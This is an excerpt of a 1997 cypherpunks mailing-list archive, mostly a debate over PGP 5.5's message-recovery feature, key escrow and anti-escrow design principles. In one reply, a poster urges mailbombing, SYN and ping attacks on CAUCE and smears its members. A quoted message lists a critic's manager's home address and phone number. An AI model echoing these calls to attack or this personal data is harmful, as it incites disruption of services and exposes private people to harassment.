is to make it harder to copy to a floppy.

So now the GAKkers can still get your recovery info, because they
could theoretically unwind that problem.  But it is sure a lot harder
than requiring every one to email them a copy of the key they just put
on a disk.  The software doesn't give you any help obtaining your key
in a mailable form, or in a form to stick on a floppy either.  In fact
it does it's damnest to prevent it.

This is the kind of monkey-wrenching PGP should be investigating,
rather than investing time in designing `elegant' GAK implementations.

Combine with forward secrecy with as quick update time as you can
manage without interfering with ergonomics issues, and the GAKkers
have got to come back every 5 minutes, and grab a copy of your entire
disk, or reverse engineer the obfuscation, to grab the next obfuscated
key.

> [Sidetrack: which is of course why PGP had to find another solution to
> present to those customers already using GAK. IMHO, and I can't help but
> be a bit surprised that I find myself in the minority on this
> issue, at least as far as the list is concerned. What PGP did was
> _elegant_.]

Wow, Lucky! I usually consider you to be spot on most such things, but
I think you failed to hit the bulls-eye there; in fact I think you
missed the dartboard entirely!

I thought it was you who was pointing out earlier the fallacy induced
by the key escrow meme (escrowing transient communicatoins keys with
governments or companies to recover data stored on frigging disks!)
(Actually you applied it just to goverments but the argument extends
to companies perfectly).

The only way that it's elegant is that it is an elegant fully ready to
roll GAK implementation.

(Notice Bruce Schneier's forward of a case of a GAKker already
starting to crow about the demonstration of GAKware feasibility in
PGP).

There are plenty of less GAK compliant things you can do than what
they are doing.  The anti-GAK design principles help to clarify
thought in designing a full spectrum from mildly GAK resistant through
to rabidly GAK-hostile.  I would hope that PGP (and you lot at C2Net)
will crank the setting up to mad dog rabid anti GAK mode with nested
obfuscated interpreters interpreting each other interpreting
instruction sequences to recover keys.  And busting your butts to make
your systems ergonomic and slick to the extent that the competitors
GAKware products look like dried up turds in comparison.  Deployment
being probably the most important anti-GAK principle of all!

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Wed, 15 Oct 1997 07:26:58 +0800
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: GOST
In-Reply-To: <3.0.3.32.19971013233228.006e7940@popd.ix.netcom.com>
Message-ID: <199710150254.CAA00671@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Bill Stewart wrote:

> S-box structure is one of the critical issues in designing
> Feistel-type networks; if you understand the mathematics
> very very well, you can do it yourself, and if you don't,
> then you don't understand it well enough to be sure
> the S-boxes are secure enough, and thus you shouldn't
> be selling it to customers.

Thanks, I shall look up Feistel-type networks. Nope, I don't 
understand the mathematics very very well, and that's why I 
asked. While I haven't seen the official GOST specs but all 
the reference I could find indicates that GOST specs don't 
discuss the process of generating SBOX permutations and GOST 
sboxes are not mathematically understood. 

Regarding the developer's ethical responsibilities with experimental 
technology I rather have the consumer decide (and of course 
document the limitations).

Thanks, 
Vipul 

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 15 Oct 1997 11:56:01 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <v03102802b069b6dc2f4a@[207.167.93.63]>
Message-ID: <Pine.BSF.3.96.971015054500.18802A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 14 Oct 1997, Tim May wrote:
> 
> And as Schneier noted yesterday, the support by PGP for "message recovery"
> is already being used by Congress as an arguing point that it is indeed
> practical and should be made mandatory.

I missed that one. [Just spent four days at an intensive training
improving my fail-safe skills].

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 15 Oct 1997 12:17:09 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <199710150138.CAA09580@server.test.net>
Message-ID: <Pine.BSF.3.96.971015055251.18802C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 15 Oct 1997, Adam Back wrote:

> 
> Lucky Green <shamrock@cypherpunks.to> writes:
> 
> > [Sidetrack: which is of course why PGP had to find another solution to
> > present to those customers already using GAK. IMHO, and I can't help but
> > be a bit surprised that I find myself in the minority on this
> > issue, at least as far as the list is concerned. What PGP did was
> > _elegant_.]
> 
> Wow, Lucky! I usually consider you to be spot on most such things, but
> I think you failed to hit the bulls-eye there; in fact I think you
> missed the dartboard entirely!

So I am told. Which is surprising to me, since usually I am told that that
I am too "paranoid" and "uncompromising".
 
> I thought it was you who was pointing out earlier the fallacy induced
> by the key escrow meme (escrowing transient communicatoins keys with
> governments or companies to recover data stored on frigging disks!)
> (Actually you applied it just to goverments but the argument extends
> to companies perfectly).

I can't help but see a difference between enforcing to encrypt to a
default key and storing the user's key outright. IMHO, the former entails
less potential for abuse.

> (Notice Bruce Schneier's forward of a case of a GAKker already
> starting to crow about the demonstration of GAKware feasibility in
> PGP).
> 
> There are plenty of less GAK compliant things you can do than what
> they are doing.  The anti-GAK design principles help to clarify
> thought in designing a full spectrum from mildly GAK resistant through
> to rabidly GAK-hostile.  I would hope that PGP (and you lot at C2Net)
> will crank the setting up to mad dog rabid anti GAK mode with nested
> obfuscated interpreters interpreting each other interpreting
> instruction sequences to recover keys.  And busting your butts to make
> your systems ergonomic and slick to the extent that the competitors
> GAKware products look like dried up turds in comparison.  Deployment
> being probably the most important anti-GAK principle of all!

Amen to the latter. I honestly don't see what PGP could have done better
and still achieved deployment in companies that keep copies of all
employees keys *today*. And yes, I think what PGP is doing is
better than keeping copies of the keys of all employees. Anyway, I now
have access to the entire PGP 5.5 system and will subject it to thorough
analysis. Methinks many people arecurrently rendering opinions on a design
they haven't even seen yet.

Certainly, the part of PGP's SMTP agent that prevents you from  screwing
up by accidentaly sending sensitive email unencrypted stands a good chance
of being installed at my site. [Can we all agree that this is a useful
feature]? More than once, I failed to encrypt an email that I meant to
encrypt.

As for C2 and GAK: as Lucky Green, I speak _only_ for myself. And I can
therefore say that if my employer was to imlement GAK, I would quit the
day I found out about it. It isn't going to happen.

 -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Oct 1997 15:06:41 +0800
To: shamrock@cypherpunks.to
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <Pine.BSF.3.96.971015054500.18802A-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710150550.GAA11404@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@cypherpunks.to> writes:
> On Tue, 14 Oct 1997, Tim May wrote:
> > 
> > And as Schneier noted yesterday, the support by PGP for "message recovery"
> > is already being used by Congress as an arguing point that it is indeed
> > practical and should be made mandatory.
> 
> I missed that one. 

They're right too that it is possible (though less secure).

That's the purpose of the anti-GAK design principles, see [1] below.
They codify a design process for how to fuck with:

- protocol designs
- standardisation processes
- implementations

to make them as GAK-hostile as possible.

There is a scale from:

pro-GAK: (USG, NSA, TIS, IBM) (give me video cams in all bedrooms)

GAK neutral: (implementer who just implements ignoring political argument of
  whether or not GAK will come in believing it irrelevant)

GAK-hostile: (implementer who is rabidly anti-GAK, and wants to stop
  the GAKkers at all costs; he wants to manipulate protocol standards
  settings processes to ensure what results is not just `not GAK' if
  implemented in one way, he wants to make sure that it is impossible to
  be both conformant to the standard and implement GAK, then he wants to
  implement to that anti-GAK-infiltrated standard and deploy as many
  of his units as possible all implemented as GAK-hostily as possible,
  with user ergonomics, functionality and presentation m$ would die for).

I really truthfully am completely puzzled as to PGP.  They make nice
pro-privacy rants (eg Jon Callas), but yet they are implementing a GAK
compliant system, and one which can also be used to itself fullfill
full GAK requirements without any software modifications.  It could
literally be plugged in tommorrow.  This is inconsistent.

Then myself, Tim May, Peter Trei, Bruce Schneier, Peter Gutmann, and
most of the rest of cpunks, and OpenPGP, go over and over what is
wrong with it, how to do it in non-GAK pervertable ways, or not to do
it at all.

And pgp _doesn't get it_.

I am non-plussed.

Are we suffering group hallucination here and are we all totally
confused?  Or is something very strange going on insde pgp's building?

What _is_ going on in there?  Are they arguing?  Are they blissfully
ignorant that the GAKkers are applauding their efforts?  Has the
corporate mind set take over?  Have they done a deal with the Feds?
Have they got $ signs in front of their eyes and forgotten that they
were once pro-privacy (those that ever were; I guess some of the are
just various suits).

I thought they were supposed to be on our side?

> [Just spent four days at an intensive training improving my
> fail-safe skills].

`fail-safe'?  As in blowing holes in cardboard cutouts with `fed'
written across them at 50 yds with a large bore weapon full of
hollow-points?  Sounds phun :-)

Another form of backup plan is to get the fuck out when GAK hits.  Go
move to switzerland, or anguilla or somewhere from which to continue
your after the fact monkey wrenching.  (Is switzerland any good?  Only
place other than UK I have citizenship -- actually not true have US
two through wife dual nationality, but I'm not sure about US right
now -- may get to GAK before UK lot do).

(pls excuse if `fail-safe' means something entirely unrelated, I'm not
familiar with the euphamism/technical term).

Adam

[1]
======================================================================
Date: Tue, 14 Oct 1997 10:37:21 +0100
From: Adam Back <aba@dcs.ex.ac.uk>
To: ietf-open-pgp@imc.org
Cc: cypherpunks@cyberpass.net
Cc: cryptography@c2.net
Subject: proposal: commercial data recovery

If we take the design goal of designing a commercial data recovery
system which is not GAK compliant, we can most succinctly state this
design goal as the task of ensuring that:

- at no point will any data transferred over communications links be
  accessible to anyone other than the sender and recipient with out
  also obtaining data on the recipient and/or senders disks


I think we can distill the design principles required to meet the
design goal of a non-GAK compliant Corporate Data Recovery (CDR)
system down to ensuring that:

1. no keys used to secure communications in any part of the system are
   a-priori escrowed with third parties

2. second crypto recipients on encrypted communications are not
   used to allow access to third parties who are not messaging
   recipients manually selected by the sender

3. communications should be encrypted to the minimum number of
   recipients (typically one), and those keys should have as short a
   life time as is practically possible

Included in 2) is the principle of not re-transmitting over
communication channels keys or data re-encrypted to third parties
after receipt -- that is just structuring -- and violates design
principle 2.


With these three principles you still have lots of flexibility because
you can escrow storage keys, do secret splitting of storage keys, and
store keys encrypted to second storage accessors on the local disk for
stored data recovery purposes.

As an additional bonus, principle 3 adds extra security against
attackers gaining access to encrypted traffic after the fact -- the
recipient no longer has the key -- this is a form of forward secrecy.


Systems designed to the CDR design principles are of significantly
less use to GAKkers than PGP Inc's GAK compliant Commercial Message
Recovery (CMR) design.  The CDR design significantly hinders the take
up of GAK if widely deployed.  

Design principle 3 -- forward secrecy -- is inherently hostile to
GAKkers, and is the strongest statement you can make against GAK: you
are purposelly _destroying_ communications keys at the earliest
possible moment to ensure that GAKkers can not obtain the keys by
legal and extra-legal coercion, black mail, and rubber hose
cryptanalysis.

The whole system translates into the Feds having to come and
physically take your disk to obtain information about you, which is
much better than GACK, and not what the GAKkers are interested in at
this point.  The GAKkers would like to install themselves, and coerce
companies into installing for them (via GAKker/USG/NSA/NIST organised
efforts such as the 56 bit export permit for companies installing key
escrow; and efforts such as the Key Recovery Parners Alliance (KRAP)).
I fear that PGP Inc's CMR proposal inadvertently meets most of the
NIST/NSA specified KRAP requirements.

What the GACKers want is systems where they can perform routine key
word scanning and fishing expeditions into your communications from
the comfort of their offices, without your knowledge.  This is push
button Orwellian government snooping.

Within the constraints imposed by the CDR design principles, there is
plenty enough flexibility to acheive the commercial data recovery
functionality to similarly weak levels of enforcability as achieved by
the CMR design.  Weak levels of enforceability are appropriate because
there are other exceedingly easy bypass routes: super-encryption, and
walking out of the office with a DAT tape.


I would like to organise a collaborative effort to write a white paper
discussing how to implement various functionalities using the CDR
design principle.

Then I would like to see discussion of which set of these
functionalities which best acheive the user requirement for company
data recovery.

Lastly I would like to see a collaborative development effort to
provide a example implementation of a CDR system which can be used as
a discussion point for the OpenPGP standardisation process.

I suppose the best place to discuss this process is the IETF forum for
discussion of the OpenPGP standard, the OpenPGP mailing list
(subscribe by sending message body "subscribe ietf-open-pgp" to
"majordomo@imc.org").

I have already had people express in email to me their interest in
doing this.  Those people can speak up if they want to.  Technical
input is sought from people opposed to GAK compliant software, and
from PGP Inc, and others defending PGP's GAK compliant CMR proposal.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Wed, 15 Oct 1997 22:46:09 +0800
To: coderpunks@toad.com
Subject: Re: Technical Description of PGP 5.5
In-Reply-To: <3.0.3.32.19971015004322.0068ca64@popd.ix.netcom.com>
Message-ID: <19971015071258.47724@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Oct 15, 1997 at 12:43:22AM -0700, Bill Stewart wrote:
> Jon Callas presented a technical description of PGP5.5 at this 
> month's Bay Area Cypherpunks meeting, as well as flak catching on the 
> politics discussion; Phil Zimmermann and other PGP folks also helped.
> This posting is an attempt to summarize the technical parts
> and leave the politics for other messages.  Perhaps there's been some
> technical discussion on OpenPGP, but feel free to forward this there if not.

No, there has been little technical discussion.  Maybe I've missed 
it, but I haven't seen from Adam a succint writeup of what his design 
actually is -- most of what he writes is so inflated with steaming 
anti-GAK rhetoric that it's hard to get a coherent picture.  Perhaps 
he will take your example to heart, and post a strawman design, and 
leave the politics to other messages.

> 1) PGP 5.5 API Toolkit -  It's the core of the PGP5.5 GUI and SMTP tools.
> 	It'll be out Real Soon Now.  It's a major change from the 
> 	PGP 5.0 Toolkit, which is based on ViaCrypt's older code.
> 	The toolkit knows about all the features in the message
> 	formats, so even if the application programs from PGP
> 	don't provide a given friendly or hostile feature,
> 	you can still write it yourself, and so can the Bad Guys.
> 
> 2) PGP 5.* message format - unchanged - uses the multiple recipients,
> 	without any indication of or dependence on relationships
> 	between the recipients.  The format is approximately
> 		Recipient Record 1 - KeyID1, E(sessionkey, PubKey1)  ....
> 		Recipient Record N - KeyIDN, E(sessionkey, PubKeyN)
> 		Message - E(Message, sessionkey)
> 	KeyID is the 32-bit KeyID, rather than a fingerprint.
> 	I don't know if the format or the PGP 5.x software can 
> 	generate or accept messages with recipient records for
> 	two different keys with the same keyid (or whether it matters
> 	if the keys are for DH*, RSA, or both.)
> 		* DH can be spelled "E L  G A M A L" -- Blame Cylink :-)
> 
> 	While 5.0 did introduce new data formats, they're not stealthy,
> 	and features like the SMTP filters depend on being able to
> 	know how many recipient-key records a message contains,
> 	where their boundaries are, and what their KeyIDs are.

Correct me if I'm wrong, but this seems to imply that the CMR fields 
in the key structure are really just a convenience -- if PGP, Inc. 
didn't write an smtp filter that enforced a CMR key, someone else
(say a firewall vendor) could do so easily, defining whatever 
relationship between keys they wanted.

To make that a bit stronger, it seems like *any* model that uses 
persistent encryption keys essentially enables CMR-like functionality 
in a smtp filter -- it could be done using pgp 2.6.

And therefore, PGP Inc might as well get the business, because if 
there is demand, someone will.

In the meantime they can work on perfect forward secrecy.
[...]

> - Customers -
> 	Some of the customers do want to "recover" all their users' 
> 	traffic. Others wanted to make sure that mail to a customer 
> 	service rep got encrypted to the other customer service reps 
> 	also, or at least to the rep's boss, so someone could handle
> 	the business if the original recipient was away.
> 
> 	One of the more obnoxious customers was implementing CAK by
> 	having the Corporate Security department generate keys and
> 	hand them to the users on floppies; this gives them a less
> 	obnoxious approach that they're willing to try.
> 
> 	One of the customers was really paranoid about making sure
> 	their employees didn't leave their CAD drawings encrypted
> 	and then steal them or extort money from the company for
> 	decrypting the plaintext when they quit; apparently the
> 	idea of using a document management system like programmers
> 	use for source code control had never occurred to them....

Things aren't that simple.

In any case, in large organizations (corporate or government) one of
the biggest motivations for snooping is prevention of management
embarassment.  It's seriously embarassing, for example, to read in the
paper in the morning that one of your employees has been maintaining a
public ftp porn archive on the company computers....you can fire the
employee, but the damage has been done.  

It's a cold fact that some employees are stupid, and others are bad. 
Snooping is more a result of this fact than it is innate evil on the
part of management. Of course it is nicer to work in a trusting 
environment, but the problems go both ways.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Zeus" <zeus@alt.net>
Date: Wed, 15 Oct 1997 19:39:26 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Stronghold
In-Reply-To: <wLPgee5w165w@bwalk.dm.com>
Message-ID: <3444A62C.22B@alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Adam Back <aba@dcs.ex.ac.uk> writes:
> >> > Unfortunately I wasn't on cypherpunks-unedited at the time, but I
> >> > thought that it was immediate send out from toad.com without going via
> >> > Sandy.
> >>
> >> Going over my notes I see that at least one of my submissions - the
> >> one quoting the C2Net lawyer letter in its entirety - didn't appear
> >> even on cypherpunks-unedited.
> >

Just where was the Lawyer's letter?  Did it have any telephone number
on it?  I want to call that guy and make sure it was really from him.

> >I think I saw this claim made before around the time of the "moderation
> >experiment".
> >
> >The only ways I can see that this could have happened are either that:
> >
> >  i)  John Gilmore started editing cypherpunks-unedited at Sandy/C2net's
> >      request
> >
> >  ii) cypherpunks-unedited was edited all along by someone (John or Sandy)
> >

Are John and Sandy still sucking and fucking each other?

> >i) is sort of feasible, perhaps there are others who were on unedited
> >and were counting who could confirm this.  Toto I think was.
> 
> Apparently a 'bot was installed on toad.com to discard my submissions from the
> "unedited" list _after my article which prompted the C2net threatening lawyer
> letter did make it through the "unedited" list (but was censored from the
> "flames" list by C2Net).
> 
> >ii) is hard to believe because the fact that something is edited shows
> >-- when the editor is sleeping you get lag.
> >
> >I'm fairly sure I didn't see the C2 legal letter you posted yesterday
> >before.
> 
> I'm sorry to have to return to this topic that's been beaten to death and
> causes me intense nausea. I figured I'll comment on two more attempts to
> revise history by lying C2Net shills from Hewlett Packard and Oracle.
> 
> Please recall that C2Net created 3 lists on toad.com:
>  unedited
>  flames
>  C2Net-approved
> 
> At one point, all my submissions to cypherpunks appeared on "unedited" and
> then on "flames" with about a 3-second delay, indicating a 'bot at work. The
> 'bot was scrubbed when C2net decided that my writings were not suitable for
> auto- forwarding to the "flames" list either. For about a week, numerous
> articles by myself, Tim May, et al appeared on "unedited" but not on "flames".
> 
> Howver toward the end of the "moderation experiment" apparently a 'bot on
> toad.com was filtering my submissions from the 'unedited' list as well. My Jan
> 30th announcement that C2Net filtered out of the flames list _did show up on
> the unedited list. However my following articles, like the one quoting C2Net's
> threatening lawyer letter (which I cc'd to numerous people, including JYA,
> who, not surprisingly, declined to put it on his archive) did _not appear on
> the "unedited" list. Nevertheless at least one lying C2Net shill from Hewlett
> Packard claims that my articles appearing on the unedited list on January 30th
> prove that I wasn't being filtered from "unedited" one week later.
> 
> Another lying C2net shill, Jason E. Durbin, a technical writer for Oracle,
> just wrote in news.admin.net-abuse.policy:
> 
> }For those unfamiliar with the tactics Vulis uses when attempting to
> }destroy moderated fora, take a look at the current, ongoing thread
> }called "Stronghold" (and other variations on same) on the Cypherpunks
> }mailing list archived at:
> }
> }http://infinity.nus.sg/cypherpunks/current/date.html#start
> }
> }It summarizes (including Vulis' take on the situation) Vulis' attack
> }on the mailing list itself via a feigned attack on the Stronghold
> }security server.
> }
> }In summary, make such an annoyance of yourself by whatever means
> }necessary (posting binaries, running an insultbot, making false
> }accusations, etc.) to get yourself threatened with banishment, then
> }rally the free speech advocates by painting yourself as the innocent
> }harmed party even though no banishment occurred.
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> }
> }Interesting insights into how Vulis attempts to manipulate his victims
> }into damning themselves while making him look like a victim.
> }Interesting reading.
> 
> "No banishment occured" - more bizarre lies from C2Net and their supporters.
> 
> Oh, and I don't recall sending binaries to this list either.
> 
> This reminds me of the claim by Rich Graves, another C2Net/Cygnus shill, that
> I'm sending "hundreds" of articles a day to this mailing list.
> 
> You may recall that the same C2net/Oracle shill Jason Durbin has been
> following up on my Usenet articles in sci.crypt, comp.unix.questions, etc
> with lies and libel: claiming, e.g., that I "lie about my credentials",
> that I don't even have a master's degree, etc. Is C2Net paying Jason Durbin
> to badmouth my academic credentials?
> 
> >From Jason Durbin's Net.Scum page:
> 
> Jason E. Durbin, jdurbin@nl.oracle.com, jed@poisson.com,
> slothrop@poisson.com, jed@best.com, jed@netcom.com.
> 
> Jason claims to work for Poisson Corporation, 8 Avocet Drive, #211, Redwood
> Shores, CA 94065, tel +1 415 637 0435, JD503.
> 
> In real life, Jason is a lowly technical writer for Oracle Corporation, 500
> Oracle Parkway, Redwood City, CA 94065, tel: +1 800 345 3267, +1 415 506 7000,
> (+1 605 506 7000), fax: +1 415 506 7200.
> 
> Jason's manager in the technical writing department is:
> Sanford Dreskin
> Mail Stop:  MS-40P12
> Office tel: +1 415 506 2181
> Office fax: +1 415 506 7228
> Home tel: +1 510 376 9526
> Home addr: 859 Augusta Drive, Moraga, CA 94556-1051
> 
> In what ways are Durbin and the Hewlett-Packard liar affiliated with C2Net?
> 

Yes, this c2Net needs investigated as a troublemaker.

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Zeus" <zeus@alt.net>
Date: Wed, 15 Oct 1997 19:43:06 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Statists trying to outlaw anonymity and privacy
In-Reply-To: <199710140633.GAA13279@manifold.algebra.com>
Message-ID: <3444A8EA.B0E@alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> 
> Dear Friends,
> 
> As many of you no doubt know, a new moderated group,
> comp.org.cauce, has been proposed. One of the main goals
> of moderators is to prevent users of one-way anonymous
> remailers and those who munge (alter) their addresses
> to avoid being spammed, from posting to the group.
> 
> Their proposal would force users to reveal their Internet
> identities and expose them to spam.
> 
> The proponents hope, apparently, that the more spam people
> get, the more will they support CAUCE's statist lobbying for
> more government regulations.
> 
> During the discussion they have shown complete disregard and
> ignored all requests from users who attempted to help them
> accommodate anonymous posting. To get more YES votes, they
> removed the most controversial provisions from the charter,
> while IN THE SAME DAY promising that these provisions will
> still be enforced.
> 
> As someone who defends privacy and anonymity  on the Internet,
> I ask you to vote on this important matter. I will vote NO
> on this newsgroup.
> 
> Feel free to repost this message to any fora you deem appropriate.
> 
> To find the Call For Votes, go to news.groups newsgroup, and find
> article titled "CFV: comp.org.cauce moderated". You will find the
> charter and the instructions on how to vote.
> 
> Thank you for your attention.
> 
>         - Igor.

I say we bomb the shit out of the newsgroup if it gets formed.
We need a new newsgroup flooding and blasting.

Those basdtards like CAUCE who try to censor make it very
legal to take the gloves off and just wipe them out with
mailbombing and SYN and ping attacks!!!

KILL CAUCE!!!  They are all mostly Pedophiles!

-Dr. Zeus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Oct 1997 15:06:43 +0800
To: shamrock@cypherpunks.to
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <Pine.BSF.3.96.971015055251.18802C-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710150633.HAA11426@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




> > I thought it was you who was pointing out earlier the fallacy induced
> > by the key escrow meme (escrowing transient communicatoins keys with
> > governments or companies to recover data stored on frigging disks!)
> > (Actually you applied it just to goverments but the argument extends
> > to companies perfectly).
> 
> I can't help but see a difference between enforcing to encrypt to a
> default key and storing the user's key outright. IMHO, the former entails
> less potential for abuse.

Tim covered that pretty well.  Inconvience is significant.  If we can
redesign the protocols or backup procedure so that the GAKker must
modify software before GAK is even possible we have largely won.  If
we can accomplish subversion of the OpenPGP standard we may be on to a
winner too...  if PGP can't implement their beloved GAK functionality
without being a non-conforming application.

All it takes is for the standard not to accept the pgp5.5 CMR key
extension.  It really is too new and experimental to include says all.

Let's include it as a may says Callas.  No thanks says all, we don't
want any of it; too new too experimental.

If it comes to it, and I figured I could get away with it from a sales
perspective I would toss out encrypted email data recovery altogether
in preference to implementing GAK for the GAKkers.

Implementing GAK for GAKkers has similar immorality to blowing away
freedom fighters in foreign countries for sport -- it results in dead
freedom fighters, and dead thought criminals (say boo to some
governments, and they'll have your head on a platter within hours).

The effect is not quite as direct, but it is surely the effect.

Even for selfish reasons we don't want GAK for ourselves, and this
eventuality is far from impossible in our respective countries.

> > There are plenty of less GAK compliant things you can do than what
> > they are doing.  The anti-GAK design principles help to clarify
> > thought in designing a full spectrum from mildly GAK resistant through
> > to rabidly GAK-hostile.  I would hope that PGP (and you lot at C2Net)
> > will crank the setting up to mad dog rabid anti GAK mode with nested
> > obfuscated interpreters interpreting each other interpreting
> > instruction sequences to recover keys.  And busting your butts to make
> > your systems ergonomic and slick to the extent that the competitors
> > GAKware products look like dried up turds in comparison.  Deployment
> > being probably the most important anti-GAK principle of all!
> 
> Amen to the latter. I honestly don't see what PGP could have done better
> and still achieved deployment in companies that keep copies of all
> employees keys *today*. 

Sure they could.  Just simply switching from CMR to CDR:

Store encryption key encrypted to a company recovery key on their
disk.  Or on a floppy in the safe even.

No enforced second recipient necessary.  Recovery of archived messages
possible.

Enforced second recipients are worse than straight forward escrow.

This kind of thing is better for the reasons Tim listed in his defense
of storing the keys in the safe on a floppy as opposed to second
recipient.


How about forward secrecy?  You could make it even less GAK friendly
if the keys only lasted for seconds.  Then what are you going to do?
Send a constant stream of keys to NSA HQ?  What if the software tried
it's hardest to not allow recovery or access to it's keys (it's hardly
likely to given the desire for forward secrecy).  So how can that be
perverted for GAK?

Does PGP investigate these?  Hell no!  They whinge: ergonomics, too
complicated, not possible, you are having a group halucination, you
don't understand software design.

Yeah, that's right ain't it, we're group hallucinating, and Schneier
-- bah they ain't listening to him -- he's just not understanding it
right.

> And yes, I think what PGP is doing is better than keeping copies of
> the keys of all employees. Anyway, I now have access to the entire
> PGP 5.5 system and will subject it to thorough analysis. Methinks
> many people arecurrently rendering opinions on a design they haven't
> even seen yet.

You could have a point there.  Could you investigate and let us know
what it does?

important questions which I think are unclear:

- does it provide message screening functionality (human reading mail
  prior to delivery in both directions?)

- is pgp5.0 able to generate GAK compliant keys (CMR keys)?

- how much control does the SNMP remote configuration provide in
  restricting user

- can you have multiple CMR keys attached to a public key (like one
  for your company and one for the NSA?)

> Certainly, the part of PGP's SMTP agent that prevents you from  screwing
> up by accidentaly sending sensitive email unencrypted stands a good chance
> of being installed at my site. [Can we all agree that this is a useful
> feature]? More than once, I failed to encrypt an email that I meant to
> encrypt.

That part is a truly excellent feature.  I do this myself manually,
the mechanism I use that I read offline and use linux, so my mail is
sitting in /usr/spool/mqueue waiting to go when the connectivity comes
up.  So I go check the files I care about prior to actually
connecting.

However that's not the controversial SMTP policy enforcer property.
PGP Inc employees described that it rejects mail which is not CAK
compliant.

> As for C2 and GAK: as Lucky Green, I speak _only_ for myself. And I can
> therefore say that if my employer was to imlement GAK, I would quit the
> day I found out about it. It isn't going to happen.

I wasn't suggesting C2 was GAK friendly.  I was attempting to suggest
that there are things you can do to be even more rabidly GAK-hostile
than you already are.  Think: monkey wrench GAKkers who might put this
product to a work in a GAK setup.  Make the product be awkward about
the types of functionalities which they will want, make it drag it's
feet, make it hide data which it doesn't want transmitted, make it
cease to function when servers aren't local (eg. local LAN servers,
make them refuse to work for IP#s not on the same sub domain).  Be
imaginative.

PGP are at very best GAK neutral.  It doesn't try hard to stop GAKkers
deriving use from it.  It tries somewhat to prevent users hacking
around it's GAK features.  It coincidentally (if you believe GAK
neutral design philosophy) happens to be pretty useable to the
GAKkers.  It implements a method for a company which doesn't turn on
the GAK feature to advertise that keys are read by company.  Yeah
nice, but big deal right?

Contrast with trying to do all you can to ensure the product can not
be used for GAK without a protocol modification, or without software
recall, or non-backwards compatible widely fielded international
standard rewrite.  They do not appear to have tried any of these.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Oct 1997 15:07:23 +0800
